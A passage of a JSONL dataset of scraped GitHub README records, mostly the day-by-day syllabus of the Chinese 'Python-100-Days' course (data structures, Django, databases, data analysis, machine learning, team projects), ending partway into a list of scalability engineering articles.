[常用数据结构之列表-2](./Day01-20/09.常用数据结构之列表-2.md)\n\n1. 列表的方法\n    - 添加和删除元素\n    - 元素位置和频次\n    - 元素排序和反转\n2. 列表生成式\n3. 嵌套列表\n4. 列表的应用\n\n#### Day10 - [常用数据结构之元组](./Day01-20/10.常用数据结构之元组.md)\n\n1. 元组的定义和运算\n2. 打包和解包操作\n3. 交换变量的值\n4. 元组和列表的比较\n\n#### Day11 - [常用数据结构之字符串](./Day01-20/11.常用数据结构之字符串.md)\n\n1. 字符串的定义\n    - 转义字符\n    - 原始字符串\n    - 字符的特殊表示\n2. 字符串的运算\n    - 拼接和重复\n    - 比较运算\n    - 成员运算\n    - 获取字符串长度\n    - 索引和切片\n3. 字符的遍历\n4. 字符串的方法\n    - 大小写相关操作\n    - 查找操作\n    - 性质判断\n    - 格式化\n    - 修剪操作\n    - 替换操作\n    - 拆分与合并\n    - 编码与解码\n    - 其他方法\n\n#### Day12 - [常用数据结构之集合](./Day01-20/12.常用数据结构之集合.md)\n\n1. 创建集合\n2. 元素的变量\n3. 集合的运算\n    - 成员运算\n    - 二元运算\n    - 比较运算\n4. 集合的方法\n5. 不可变集合\n\n#### Day13 - [常用数据结构之字典](./Day01-20/13.常用数据结构之字典.md)\n\n1. 创建和使用字典\n2. 字典的运算\n3. 字典的方法\n4. 字典的应用\n\n#### Day14 - [函数和模块](./Day01-20/14.函数和模块.md)\n\n1. 定义函数\n2. 函数的参数\n    - 位置参数和关键字参数\n    - 参数的默认值\n    - 可变参数\n3. 用模块管理函数\n4. 标准库中的模块和函数\n\n#### Day15 - [函数应用实战](./Day01-20/15.函数应用实战.md)\n\n1. 例子1：随机验证码\n2. 例子2：判断素数\n3. 例子3：最大公约数和最小公倍数\n4. 例子4：数据统计\n5. 例子5：双色球随机选号\n\n#### Day16 - [函数使用进阶](./Day01-20/16.函数使用进阶.md)\n\n1. 高阶函数\n2. Lambda函数\n3. 偏函数\n\n#### Day17 - [函数高级应用](./Day01-20/17.函数高级应用.md)\n\n1. 装饰器\n2. 递归调用\n\n#### Day18 - [面向对象编程入门](./Day01-20/18.面向对象编程入门.md)\n\n1. 类和对象\n2. 定义类\n3. 创建和使用对象\n4. 初始化方法\n5. 面向对象的支柱\n6. 面向对象案例\n    - 例子1：数字时钟\n    - 例子2：平面上的点\n\n#### Day19 - [面向对象编程进阶](./Day01-20/19.面向对象编程进阶.md)\n\n1. 可见性和属性装饰器\n2. 动态属性\n3. 静态方法和类方法\n4. 继承和多态\n\n#### Day20 - [面向对象编程应用](./Day01-20/20.面向对象编程应用.md)\n\n1. 扑克游戏\n2. 工资结算系统", "tags": ["jackfrued"], "source": "github_gists", "category": "jackfrued", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 177574, "answer_score": 10, "has_code": true, "url": "https://github.com/jackfrued/Python-100-Days", "collected_at": "2026-01-17T08:14:31.323650"}
{"id": "gh_9bb62360bf98", "question": "How to: Day21~30 - Python语言应用", "question_body": "About jackfrued/Python-100-Days", "answer": "#### Day21 - [文件读写和异常处理](./Day21-30/21.文件读写和异常处理.md)\n\n1. 打开和关闭文件\n2. 读写文本文件\n3. 异常处理机制\n4. 上下文管理器语法\n5. 读写二进制文件\n\n#### Day22 - [对象的序列化和反序列化](./Day21-30/22.对象的序列化和反序列化.md)\n\n1. JSON概述\n2. 读写JSON格式的数据\n3. 包管理工具pip\n4. 使用网络API获取数据\n\n#### Day23 - [Python读写CSV文件](23.Python读写CSV文件.md)\n\n1. CSV文件介绍\n2. 将数据写入CSV文件\n3. 从CSV文件读取数据\n\n#### Day24 - [Python读写Excel文件-1](./Day21-30/24.用Python读写Excel文件-1.md)\n\n1. Excel简介\n2. 读Excel文件\n3. 写Excel文件\n4. 调整样式\n5. 公式计算\n\n#### Day25 - [Python读写Excel文件-2](./Day21-30/25.Python读写Excel文件-2.md)\n\n1. Excel简介\n2. 读Excel文件\n3. 写Excel文件\n4. 调整样式\n5. 生成统计图表\n\n#### Day26 - [Python操作Word和PowerPoint文件](./Day21-30/26.Python操作Word和PowerPoint文件.md)\n\n1. 操作Word文档\n2. 生成PowerPoint\n\n#### Day27 - [Python操作PDF文件](./Day21-30/27.Python操作PDF文件.md)\n\n1. 从PDF中提取文本\n2. 旋转和叠加页面\n3. 加密PDF文件\n4. 批量添加水印\n5. 创建PDF文件\n\n#### Day28 - [Python处理图像](./Day21-30/28.Python处理图像.md)\n\n1. 入门知识\n2. 用Pillow处理图像\n3. 使用Pillow绘图\n\n#### Day29 - [Python发送邮件和短信](./Day21-30/29.Python发送邮件和短信.md)\n\n1. 发送电子邮件\n2. 发送短信\n\n#### Day30 - [正则表达式的应用](./Day21-30/30.正则表达式的应用.md)\n\n1. 正则表达式相关知识\n2. Python对正则表达式的支持\n    - 例子1：输入验证\n    - 例子2：内容提取\n    - 例子3：内容替换\n    - 例子4：长句拆分", "tags": ["jackfrued"], "source": "github_gists", "category": "jackfrued", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 177574, "answer_score": 10, "has_code": true, "url": "https://github.com/jackfrued/Python-100-Days", "collected_at": "2026-01-17T08:14:31.323664"}
{"id": "gh_5ae8fc70cd80", "question": "How to: Day31~35 - 其他相关内容", "question_body": "About jackfrued/Python-100-Days", "answer": "#### [Python语言进阶](./Day31-35/31.Python语言进阶.md)\n\n1. 重要知识点\n2. 数据结构和算法\n3. 函数的使用方式\n4. 面向对象相关知识\n5. 迭代器和生成器\n6. 并发编程\n\n#### [Web前端入门](./Day31-35/32-33.Web前端入门.md)\n\n1. 用HTML标签承载页面内容\n2. 用CSS渲染页面\n3. 用JavaScript处理交互式行为\n5. Vue.js入门\n6. Element的使用\n7. Bootstrap的使用\n\n#### [玩转Linux操作系统](./Day31-35/34-35.玩转Linux操作系统.md)\n\n1. 操作系统发展史和Linux概述\n2. Linux基础命令\n3. Linux中的实用程序\n4. Linux的文件系统\n5. Vim编辑器的应用\n6. 环境变量和Shell编程\n7. 软件的安装和服务的配置\n8. 网络访问和管理\n9. 其他相关内容", "tags": ["jackfrued"], "source": "github_gists", "category": "jackfrued", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 177574, "answer_score": 10, "has_code": false, "url": "https://github.com/jackfrued/Python-100-Days", "collected_at": "2026-01-17T08:14:31.323673"}
{"id": "gh_20b7e905c512", "question": "How to: Day36~45 - 数据库基础和进阶", "question_body": "About jackfrued/Python-100-Days", "answer": "#### Day36 - [关系型数据库和MySQL概述](./Day36-45/36.关系型数据库和MySQL概述.md)\n\n1. 关系型数据库概述\n2. MySQL简介\n3. 安装MySQL\n4. MySQL基本命令\n\n#### Day37 - [SQL详解之DDL](./Day36-45/37.SQL详解之DDL.md)\n\n1. 建库建表\n2. 删除表和修改表\n\n#### Day38 - [SQL详解之DML](./Day36-45/38.SQL详解之DML.md)\n\n1. insert操作\n2. delete操作\n3. update操作\n\n#### Day39 - [SQL详解之DQL](./Day36-45/39.SQL详解之DQL.md)\n\n1. 投影和别名\n2. 筛选数据\n3. 空值处理\n4. 去重\n5. 排序\n6. 聚合函数\n7. 嵌套查询\n8. 分组操作\n9. 表连接\n    - 笛卡尔积\n    - 内连接\n    - 自然连接\n    - 外连接\n10. 窗口函数\n    - 定义窗口\n    - 排名函数\n    - 取数函数\n\n#### Day40 - [SQL详解之DCL](./Day36-45/40.SQL详解之DCL.md)\n\n1. 创建用户\n2. 授予权限\n3. 召回权限\n\n#### Day41 - [MySQL新特性](./Day36-45/41.MySQL新特性.md)\n\n- JSON类型\n- 窗口函数\n- 公共表表达式\n\n#### Day42 - [视图、函数和过程](./Day36-45/42.视图、函数和过程.md)\n\n1. 视图\n    - 使用场景\n    - 创建视图\n    - 使用限制\n2. 函数\n    - 内置函数\n    - 用户自定义函数（UDF）\n3. 过程\n    - 创建过程\n    - 调用过程\n\n#### Day43 - [索引](./Day36-45/43.索引.md)\n\n1. 执行计划\n2. 索引的原理\n3. 创建索引\n    - 普通索引\n    - 唯一索引\n    - 前缀索引\n    - 复合索引\n4. 注意事项\n\n#### Day44 - [Python接入MySQL数据库](./Day36-45/44.Python接入MySQL数据库.md)\n\n1. 安装三方库\n2. 创建连接\n3. 获取游标\n4. 执行SQL语句\n5. 通过游标抓取数据\n6. 事务提交和回滚\n7. 释放连接\n8. 编写ETL脚本\n\n#### Day45 - [Hive实战](./Day36-45/45.Hive实战.md)\n\n1. Hive概述\n2. 环境搭建\n3. 常用命令\n4. 基本语法\n5. 建表操作\n6. 写入数据\n7. 常用函数\n8. 分组聚合\n9. 抽样操作\n10. 排序操作\n11. 横向展开\n12. 性能优化", "tags": ["jackfrued"], "source": "github_gists", "category": "jackfrued", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 177574, "answer_score": 10, "has_code": true, "url": "https://github.com/jackfrued/Python-100-Days", "collected_at": "2026-01-17T08:14:31.323687"}
{"id": "gh_668d83cc2c62", "question": "How to: Day46~60 - 实战Django", "question_body": "About jackfrued/Python-100-Days", "answer": "#### Day46 - [Django快速上手](./Day46-60/46.Django快速上手.md)\n\n1. Web应用工作机制\n2. HTTP请求和响应\n3. Django框架概述\n4. 5分钟快速上手\n\n#### Day47 - [深入模型](./Day46-60/47.深入模型.md)\n\n1. 关系型数据库配置\n2. 使用ORM完成对模型的CRUD操作\n3. 管理后台的使用\n4. Django模型最佳实践\n5. 模型定义参考\n\n#### Day48 - [静态资源和Ajax请求](./Day46-60/48.静态资源和Ajax请求.md)\n\n1. 加载静态资源\n2. Ajax概述\n3. 用Ajax实现投票功能\n\n#### Day49 - [Cookie和Session](./Day46-60/49.Cookie和Session.md)\n\n1. 实现用户跟踪\n2. cookie和session的关系\n3. Django框架对session的支持\n4. 视图函数中的cookie读写操作\n\n#### Day50 - [报表和日志](./Day46-60/50.制作报表.md)\n\n1. 通过`HttpResponse`修改响应头\n2. 使用`StreamingHttpResponse`处理大文件\n3. 使用`xlwt`生成Excel报表\n4. 使用`reportlab`生成PDF报表\n5. 使用ECharts生成前端图表\n\n#### Day51 - [日志和调试工具栏](./Day46-60/51.日志和调试工具栏.md)\n\n1. 配置日志\n2. 配置Django-Debug-Toolbar\n3. 优化ORM代码\n\n#### Day52 - [中间件的应用](./Day46-60/52.中间件的应用.md)\n\n1. 什么是中间件\n2. Django框架内置的中间件\n3. 自定义中间件及其应用场景\n\n#### Day53 - [前后端分离开发入门](./Day46-60/53.前后端分离开发入门.md)\n\n1. 返回JSON格式的数据\n2. 用Vue.js渲染页面\n\n#### Day54 - [RESTful架构和DRF入门](./Day46-60/54.RESTful架构和DRF入门.md)\n\n1. REST概述\n2. DRF库使用入门\n3. 前后端分离开发\n4. JWT的应用\n\n#### Day55 - [RESTful架构和DRF进阶](./Day46-60/55.RESTful架构和DRF进阶.md)\n\n1. 使用CBV\n2. 数据分页\n3. 数据筛选\n\n#### Day56 - [使用缓存](./Day46-60/56.使用缓存.md)\n\n1. 网站优化第一定律\n2. 在Django项目中使用Redis提供缓存服务\n3. 在视图函数中读写缓存\n4. 使用装饰器实现页面缓存\n5. 为数据接口提供缓存服务\n\n#### Day57 - [接入三方平台](./Day46-60/57.接入三方平台.md)\n\n1. 文件上传表单控件和图片文件预览\n2. 服务器端如何处理上传的文件\n\n#### Day58 - [异步任务和定时任务](./Day46-60/58.异步任务和定时任务.md)\n\n1. 网站优化第二定律\n2. 配置消息队列服务\n3. 在项目中使用Celery实现任务异步化\n4. 在项目中使用Celery实现定时任务\n\n#### Day59 - [单元测试](./Day46-60/59.单元测试.md)\n\n#### Day60 - [项目上线](./Day46-60/60.项目上线.md)\n\n1. Python中的单元测试\n2. Django框架对单元测试的支持\n3. 使用版本控制系统\n4. 配置和使用uWSGI\n5. 动静分离和Nginx配置\n6. 配置HTTPS\n7. 配置域名解析", "tags": ["jackfrued"], "source": "github_gists", "category": "jackfrued", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 177574, "answer_score": 10, "has_code": false, "url": "https://github.com/jackfrued/Python-100-Days", "collected_at": "2026-01-17T08:14:31.323702"}
{"id": "gh_5051c0acd25b", "question": "How to: Day61~65 - 网络数据采集", "question_body": "About jackfrued/Python-100-Days", "answer": "#### Day61 - [网络数据采集概述](./Day61-65/61.网络数据采集概述.md)\n\n1. 网络爬虫的概念及其应用领域\n2. 网络爬虫的合法性探讨\n3. 开发网络爬虫的相关工具\n4. 一个爬虫程序的构成\n\n#### Day62 - 数据抓取和解析\n\n1. [使用`requests`三方库实现数据抓取](./Day61-65/62.用Python获取网络资源-1.md)\n2. [页面解析的三种方式](./Day61-65/62.用Python解析HTML页面-2.md)\n    - 正则表达式解析\n    - XPath解析\n    - CSS选择器解析\n\n#### Day63 - Python中的并发编程\n\n1. [多线程](./Day61-65/63.Python中的并发编程-1.md)\n2. [多进程](./Day61-65/63.Python中的并发编程-2.md)\n3. [异步I/O](./Day61-65/63.Python中的并发编程-3.md)\n\n#### Day64 - [使用Selenium抓取网页动态内容](./Day61-65/64.使用Selenium抓取网页动态内容.md)\n\n1. 安装Selenium\n2. 加载页面\n3. 查找元素和模拟用户行为\n4. 隐式等待和显示等待\n5. 执行JavaScript代码\n6. Selenium反爬破解\n7. 设置无头浏览器\n\n#### Day65 - [爬虫框架Scrapy简介](./Day61-65/65.爬虫框架Scrapy简介.md)\n\n1. Scrapy核心组件\n2. Scrapy工作流程\n3. 安装Scrapy和创建项目\n4. 编写蜘蛛程序\n5. 编写中间件和管道程序\n6. Scrapy配置文件", "tags": ["jackfrued"], "source": "github_gists", "category": "jackfrued", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 177574, "answer_score": 10, "has_code": true, "url": "https://github.com/jackfrued/Python-100-Days", "collected_at": "2026-01-17T08:14:31.323712"}
{"id": "gh_244ba43c327a", "question": "How to: Day66~80 - Python数据分析", "question_body": "About jackfrued/Python-100-Days", "answer": "#### Day66 - [数据分析概述](./Day66-80/66.数据分析概述.md)\n\n1. 数据分析师的职责\n2. 数据分析师的技能栈\n3. 数据分析相关库\n\n#### Day67 - [环境准备](./Day66-80/67.环境准备.md)\n\n1. 安装和使用anaconda\n    - conda相关命令\n2. 安装和使用jupyter-lab\n    - 安装和启动\n    - 使用小技巧\n\n#### Day68 - [NumPy的应用-1](./Day66-80/68.NumPy的应用-1.md)\n\n1. 创建数组对象\n2. 数组对象的属性\n3. 数组对象的索引运算\n    - 普通索引\n    - 花式索引\n    - 布尔索引\n    - 切片索引\n4. 案例：使用数组处理图像\n\n#### Day69 - [NumPy的应用-2](./Day66-80/69.NumPy的应用-2.md)\n\n1. 数组对象的相关方法\n    - 获取描述性统计信息\n    - 其他相关方法\n\n#### Day70 - [NumPy的应用-3](./Day66-80/70.NumPy的应用-3.md)\n\n1. 数组的运算\n    - 数组跟标量的运算\n    - 数组跟数组的运算\n2. 通用一元函数\n3. 通用二元函数\n4. 广播机制\n5. Numpy常用函数\n\n#### Day71 - [NumPy的应用-4](./Day66-80/71.NumPy的应用-4.md)\n\n1. 向量\n2. 行列式\n3. 矩阵\n4. 多项式\n\n#### Day72 - [深入浅出pandas-1](./Day66-80/72.深入浅出pandas-1.md)\n\n1. 创建Series对象\n2. Series对象的运算\n3. Series对象的属性和方法\n\n#### Day73 - [深入浅出pandas-2](./Day66-80/73.深入浅出pandas-2.md)\n\n1. 创建DataFrame对象\n2. DataFrame对象的属性和方法\n3. 读写DataFrame中的数据\n\n#### Day74 - [深入浅出pandas-3](./Day66-80/74.深入浅出pandas-3.md)\n\n1. 数据重塑\n    - 数据拼接\n    - 数据合并\n2. 数据清洗\n    - 缺失值\n    - 重复值\n    - 异常值\n    - 预处理\n\n#### Day75 - [深入浅出pandas-4](./Day66-80/75.深入浅出pandas-4.md)\n\n1. 数据透视\n    - 获取描述性统计信息\n    - 排序和头部值\n    - 分组聚合\n    - 透视表和交叉表\n2. 数据呈现\n\n#### Day76 - [深入浅出pandas-5](./Day66-80/76.深入浅出pandas-5.md)\n\n1. 计算同比环比\n2. 窗口计算\n3. 相关性判定\n\n#### Day77 - [深入浅出pandas-6](./Day66-80/77.深入浅出pandas-6.md)\n\n1. 索引的使用\n    - 范围索引\n    - 分类索引\n    - 多级索引\n    - 间隔索引\n    - 日期时间索引\n\n#### Day78 - [数据可视化-1](./Day66-80/78.数据可视化-1.md)\n\n1. 安装和导入matplotlib\n2. 创建画布\n3. 创建坐标系\n4. 绘制图表\n    - 折线图\n    - 散点图\n    - 柱状图\n    - 饼状图\n    - 直方图\n    - 箱线图\n5. 显示和保存图表\n\n#### Day79 - [数据可视化-2](./Day66-80/79.数据可视化-2.md)\n\n1. 高阶图表\n    - 气泡图\n    - 面积图\n    - 雷达图\n    - 玫瑰图\n    - 3D图表\n\n#### Day80 - [数据可视化-3](./Day66-80/80.数据可视化-3.md)\n\n1. Seaborn\n2. Pyecharts", "tags": ["jackfrued"], "source": "github_gists", "category": "jackfrued", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 177574, "answer_score": 10, "has_code": true, "url": "https://github.com/jackfrued/Python-100-Days", "collected_at": "2026-01-17T08:14:31.323727"}
{"id": "gh_dcfd79286f50", "question": "How to: Day81~90 - 机器学习", "question_body": "About jackfrued/Python-100-Days", "answer": "#### Day81 - [浅谈机器学习](./Day81-90/81.浅谈机器学习.md)\n\n1. 人工智能发展史\n2. 什么是机器学习\n3. 机器学习应用领域\n4. 机器学习的分类\n5. 机器学习的步骤\n6. 第一次机器学习\n\n#### Day82 - [k最近邻算法](./Day81-90/82.k最近邻算法.md)\n\n1. 距离的度量\n2. 数据集介绍\n3. kNN分类的实现\n4. 模型评估\n5. 参数调优\n6. kNN回归的实现\n\n#### Day83 - [决策树和随机森林](./Day81-90/83.决策树和随机森林.md)\n\n1. 决策树的构建\n    - 特征选择\n    - 数据分裂\n    - 树的剪枝\n2. 实现决策树模型\n3. 随机森林概述\n\n#### Day84 - [朴素贝叶斯算法](./Day81-90/84.朴素贝叶斯算法.md)\n\n1. 贝叶斯定理\n2. 朴素贝叶斯\n3. 算法原理\n    - 训练阶段\n    - 预测阶段\n    - 代码实现\n4. 算法优缺点\n\n#### Day85 - [回归模型](./Day81-90/85.回归模型.md)\n\n1. 回归模型的分类\n2. 回归系数的计算\n3. 新数据集介绍\n4. 线性回归代码实现\n5. 回归模型的评估\n6. 引入正则化项\n7. 线性回归另一种实现\n8. 多项式回归\n9. 逻辑回归\n\n#### Day86 - [K-Means聚类算法](./Day81-90/86.K-Means聚类算法.md)\n\n1. 算法原理\n2. 数学描述\n3. 代码实现\n\n#### Day87 - [集成学习算法](./Day81-90/87.集成学习算法.md)\n\n1. 算法分类\n2. AdaBoost\n3. GBDT\n4. XGBoost\n5. LightGBM\n\n#### Day88 - [神经网络模型](./Day81-90/88.神经网络模型.md)\n\n1. 基本构成\n2. 工作原理\n3. 代码实现\n4. 模型优缺点\n\n#### Day89 - [自然语言处理入门](./Day81-90/89.自然语言处理入门.md)\n\n1. 词袋模型\n2. 词向量\n3. NPLM和RNN\n4. Seq2Seq\n5. Transformer\n\n#### Day90 - [机器学习实战](./Day81-90/90.机器学习实战.md)\n\n1. 数据探索\n1. 特征工程\n1. 模型训练\n1. 模型评估\n1. 模型部署", "tags": ["jackfrued"], "source": "github_gists", "category": "jackfrued", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 177574, "answer_score": 10, "has_code": true, "url": "https://github.com/jackfrued/Python-100-Days", "collected_at": "2026-01-17T08:14:31.323741"}
{"id": "gh_e0f0e4d77b72", "question": "How to: Day91~99 - [团队项目开发](./Day91-100)", "question_body": "About jackfrued/Python-100-Days", "answer": "#### 第91天：[团队项目开发的问题和解决方案](./Day91-100/91.团队项目开发的问题和解决方案.md)\n\n1. 软件过程模型\n   - 经典过程模型（瀑布模型）\n     - 可行性分析（研究做还是不做），输出《可行性分析报告》。\n     - 需求分析（研究做什么），输出《需求规格说明书》和产品界面原型图。\n     - 概要设计和详细设计，输出概念模型图（ER图）、物理模型图、类图、时序图等。\n     - 编码 / 测试。\n     - 上线 / 维护。\n\n     瀑布模型最大的缺点是无法拥抱需求变化，整套流程结束后才能看到产品，团队士气低落。\n   - 敏捷开发（Scrum）- 产品所有者、Scrum Master、研发人员 - Sprint\n     - 产品的Backlog（用户故事、产品原型）。\n     - 计划会议（评估和预算）。\n     - 日常开发（站立会议、番茄工作法、结对编程、测试先行、代码重构……）。\n     - 修复bug（问题描述、重现步骤、测试人员、被指派人）。\n     - 发布版本。\n     - 评审会议（Showcase，用户需要参与）。\n     - 回顾会议（对当前迭代周期做一个总结）。\n\n     > 补充：敏捷软件开发宣言\n     >\n     > - **个体和互动** 高于 流程和工具\n     > - **工作的软件** 高于 详尽的文档\n     > - **客户合作** 高于 合同谈判\n     > - **响应变化** 高于 遵循计划\n\n     ![](./res/agile-scrum-sprint-cycle.png)\n\n     > 角色：产品所有者（决定做什么，能对需求拍板的人）、团队负责人（解决各种问题，专注如何更好的工作，屏蔽外部对开发团队的影响）、开发团队（项目执行人员，具体指开发人员和测试人员）。\n\n     > 准备工作：商业案例和资金、合同、憧憬、初始产品需求、初始发布计划、入股、组建团队。\n\n     >  敏捷团队通常人数为8-10人。\n\n     >  工作量估算：将开发任务量化，包括原型、Logo设计、UI设计、前端开发等，尽量把每个工作分解到最小任务量，最小任务量标准为工作时间不能超过两天，然后估算总体项目时间。把每个任务都贴在看板上面，看板上分三部分：to do（待完成）、in progress（进行中）和done（已完成）。\n\n2. 项目团队组建\n\n   - 团队的构成和角色\n\n     ![company_architecture](./res/company_architecture.png)\n\n   - 编程规范和代码审查（`flake8`、`pylint`）\n\n     ![](./res/pylint.png)\n\n   - Python中的一些“惯例”（请参考[《Python惯例-如何编写Pythonic的代码》](./番外篇/Python编程惯例.md)）\n\n   - 影响代码可读性的原因：\n\n     - 代码注释太少或者没有注释\n     - 代码破坏了语言的最佳实践\n     - 反模式编程（意大利面代码、复制-黏贴编程、自负编程、……）\n   \n3. 团队开发工具介绍\n   - 版本控制：Git、Mercury\n   - 缺陷管理：[Gitlab](https://about.gitlab.com/)、[Redmine](http://www.redmine.org.cn/)\n   - 敏捷闭环工具：[禅道](https://www.zentao.net/)、[JIRA](https://www.atlassian.com/software/jira/features)\n   - 持续集成：[Jenkins](https://jenkins.io/)、[Travis-CI](https://travis-ci.org/)\n\n   请参考[《团队项目开发的问题和解决方案》](Day91-100/91.团队项目开发的问题和解决方案.md)。\n\n##### 项目选题和理解业务\n\n1. 选题范围设定\n\n   - CMS（用户端）：新闻聚合网站、问答/分享社区、影评/书评网站等。\n   - MIS（用户端+管理端）：KMS、KPI考核系统、HRS、CRM系统、供应链系统、仓储管理系统等。\n\n   - App后台（管理端+数据接口）：二手交易类、报刊杂志类、小众电商类、新闻资讯类、旅游类、社交类、阅读类等。\n   - 其他类型：自身行业背景和工作经验、业务容易理解和把控。\n\n2. 需求理解、模块划分和任务分配\n\n   - 需求理解：头脑风暴和竞品分析。\n   - 模块划分：画思维导图（XMind），每个模块是一个枝节点，每个具体的功能是一个叶节点（用动词表述），需要确保每个叶节点无法再生出新节点，确定每个叶子节点的重要性、优先级和工作量。\n   - 任务分配：由项目负责人根据上面的指标为每个团队成员分配任务。\n\n   ![](./res/requirements_by_xmind.png)\n\n3. 制定项目进度表（每日更新）\n\n   | 模块 | 功能     | 人员   | 状态     | 完成 | 工时 | 计划开始 | 实际开始 | 计划结束 | 实际结束 | 备注             |\n   | ---- | -------- | ------ | -------- | ---- | ---- | -------- | -------- | -------- | -------- | ---------------- |\n   | 评论 | 添加评论 | 王大锤 | 正在进行 | 50%  | 4    | 2018/8/7 |          | 2018/8/7 |          |                  |\n   |      | 删除评论 | 王大锤 | 等待     | 0%   | 2    | 2018/8/7 |          | 2018/8/7 |          |                  |\n   |      | 查看评论 | 白元芳 | 正在进行 | 20%  | 4    | 2018/8/7 |          | 2018/8/7 |          | 需要进行代码审查 |\n   |      | 评论投票 | 白元芳 | 等待     | 0%   | 4    | 2018/8/8 |          | 2018/8/8 |          |                  |\n\n4. OOAD和数据库设计\n\n  - UML（统一建模语言）的类图\n\n    ![uml](./res/uml-class-diagram.png)\n\n  - 通过模型创建表（正向工程），例如在Django项目中可以通过下面的命令创建二维表。\n\n    ```Shell\n    python manage.py makemigrations app\n    python manage.py migrate\n    ```\n\n  - 使用PowerDesigner绘制物理模型图。\n\n    ![](./res/power-designer-pdm.png)\n\n  - 通过数据表创建模型（反向工程），例如在Django项目中可以通过下面的命令生成模型。\n\n    ```Shell\n    python manage.py inspectdb > app/models.py\n    ```\n\n#### 第92天：[Docker容器技术详解](./Day91-100/92.Docker容器技术详解.md)\n\n1. Docker简介\n2. 安装Docker\n3. 使用Docker创建容器（Nginx、MySQL、Redis、Gitlab、Jenkins）\n4. 构建Docker镜像（Dockerfile的编写和相关指令）\n5. 容器编排（Docker-compose）\n6. 集群管理（Kubernetes）\n\n#### 第93天：[MySQL性能优化](./Day91-100/93.MySQL性能优化.md)\n\n1. 基本原则\n2. InnoDB引擎\n3. 索引的使用和注意事项\n4. 数据分区\n5. SQL优化\n6. 配置优化\n7. 架构优化\n\n#### 第94天：[网络API接口设计](./Day91-100/94.网络API接口设计.md)\n\n1. 设计原则\n    - 关键问题\n    - 其他问题\n2. 文档撰写\n\n#### 第95天：[使用Django开发商业项目](./Day91-100/95.使用Django开发商业项\t目.md)\n\n##### 项目开发中的公共问题\n\n1. 数据库的配置（多数据库、主从复制、数据库路由）\n2. 缓存的配置（分区缓存、键设置、超时设置、主从复制、故障恢复（哨兵））\n3. 日志的配置\n4. 分析和调试（Django-Debug-ToolBar）\n5. 好用的Python模块（日期计算、图像处理、数据加密、三方API）\n\n##### REST API设计\n\n1. RESTful架构\n   - [理解RESTful架构](http://www.ruanyifeng.com/blog/2011/09/restful.html)\n   - [RESTful API设计指南](http://www.ruanyifeng.com/blog/2014/05/restful_api.html)\n   - [RESTful API最佳实践](http://www.ruanyifeng.com/blog/2018/10/restful-api-best-practices.html)\n2. API接口文档的撰写\n   - [RAP2](http://rap2.taobao.org/)\n   - [YAPI](http://yapi.demo.qunar.com/)\n3. [django-REST-framework](https://www.django-rest-framework.org/)的应用\n\n##### 项目中的重点难点剖析\n\n1. 使用缓存缓解数据库压力 - Redis\n2. 使用消息队列做解耦合和削峰 - Celery + RabbitMQ\n\n#### 第96天：[软件测试和自动化测试](Day91-100/96.软件测试和自动化测试.md)\n\n##### 单元测试\n\n1. 测试的种类\n2. 编写单元测试（`unittest`、`pytest`、`nose2`、`tox`、`ddt`、……）\n3. 测试覆盖率（`coverage`）\n\n##### Django项目部署\n\n1. 部署前的准备工作\n   - 关键设置（SECRET_KEY / DEBUG / ALLOWED_HOSTS / 缓存 / 数据库）\n   - HTTPS / CSRF_COOKIE_SECUR  / SESSION_COOKIE_SECURE  \n   - 日志相关配置\n2. Linux常用命令回顾\n3. Linux常用服务的安装和配置\n4. uWSGI/Gunicorn和Nginx的使用\n   - Gunicorn和uWSGI的比较\n     - 对于不需要大量定制化的简单应用程序，Gunicorn是一个不错的选择，uWSGI的学习曲线比Gunicorn要陡峭得多，Gunicorn的默认参数就已经能够适应大多数应用程序。\n     - uWSGI支持异构部署。\n     - 由于Nginx本身支持uWSGI，在线上一般都将Nginx和uWSGI捆绑在一起部署，而且uWSGI属于功能齐全且高度定制的WSGI中间件。\n     - 在性能上，Gunicorn和uWSGI其实表现相当。\n5. 使用虚拟", "tags": ["jackfrued"], "source": "github_gists", "category": "jackfrued", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 177574, "answer_score": 10, "has_code": true, "url": "https://github.com/jackfrued/Python-100-Days", "collected_at": "2026-01-17T08:14:31.323776"}
{"id": "gh_158a34592aa0", "question": "How to: 第100天 - [补充内容](./Day91-100/100.补充内容.md)", "question_body": "About jackfrued/Python-100-Days", "answer": "- 面试宝典\n    - Python 面试宝典\n    - SQL 面试宝典（数据分析师）\n    - 商业分析面试宝典\n    - 机器学习面试宝典\n\n- 机器学习数学基础\n- 深度学习\n    - 计算机视觉\n    - 大语言模型", "tags": ["jackfrued"], "source": "github_gists", "category": "jackfrued", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 177574, "answer_score": 10, "has_code": true, "url": "https://github.com/jackfrued/Python-100-Days", "collected_at": "2026-01-17T08:14:31.323785"}
{"id": "gh_a5124b99bf11", "question": "How to: Scalability", "question_body": "About binhnguyennus/awesome-scalability", "answer": "* [Microservices and Orchestration](https://martinfowler.com/microservices/)\n\t* [Domain-Oriented Microservice Architecture at Uber](https://eng.uber.com/microservice-architecture/)\n\t* [Service Architecture (3 parts: Domain Gateways, Value-Added Services, BFF) at SoundCloud](https://developers.soundcloud.com/blog/service-architecture-3)\n\t* [Container (8 parts) at Riot Games](https://engineering.riotgames.com/news/thinking-inside-container)\n\t* [Containerization at Pinterest](https://medium.com/@Pinterest_Engineering/containerization-at-pinterest-92295347f2f3)\n\t* [Evolution of Container Usage at Netflix](https://medium.com/netflix-techblog/the-evolution-of-container-usage-at-netflix-3abfc096781b)\n\t* [Dockerizing MySQL at Uber](https://eng.uber.com/dockerizing-mysql/)\n\t* [Testing of Microservices at Spotify](https://labs.spotify.com/2018/01/11/testing-of-microservices/)\n\t* [Docker in Production at Treehouse](https://medium.com/treehouse-engineering/lessons-learned-running-docker-in-production-5dce99ece770)\n\t* [Microservice at SoundCloud](https://developers.soundcloud.com/blog/inside-a-soundcloud-microservice)\n\t* [Operate Kubernetes Reliably at Stripe](https://stripe.com/blog/operating-kubernetes)\n\t* [Cross-Cluster Traffic Mirroring with Istio at Trivago](https://tech.trivago.com/2020/06/10/cross-cluster-traffic-mirroring-with-istio/)\n\t* [Agrarian-Scale Kubernetes (3 parts) at New York 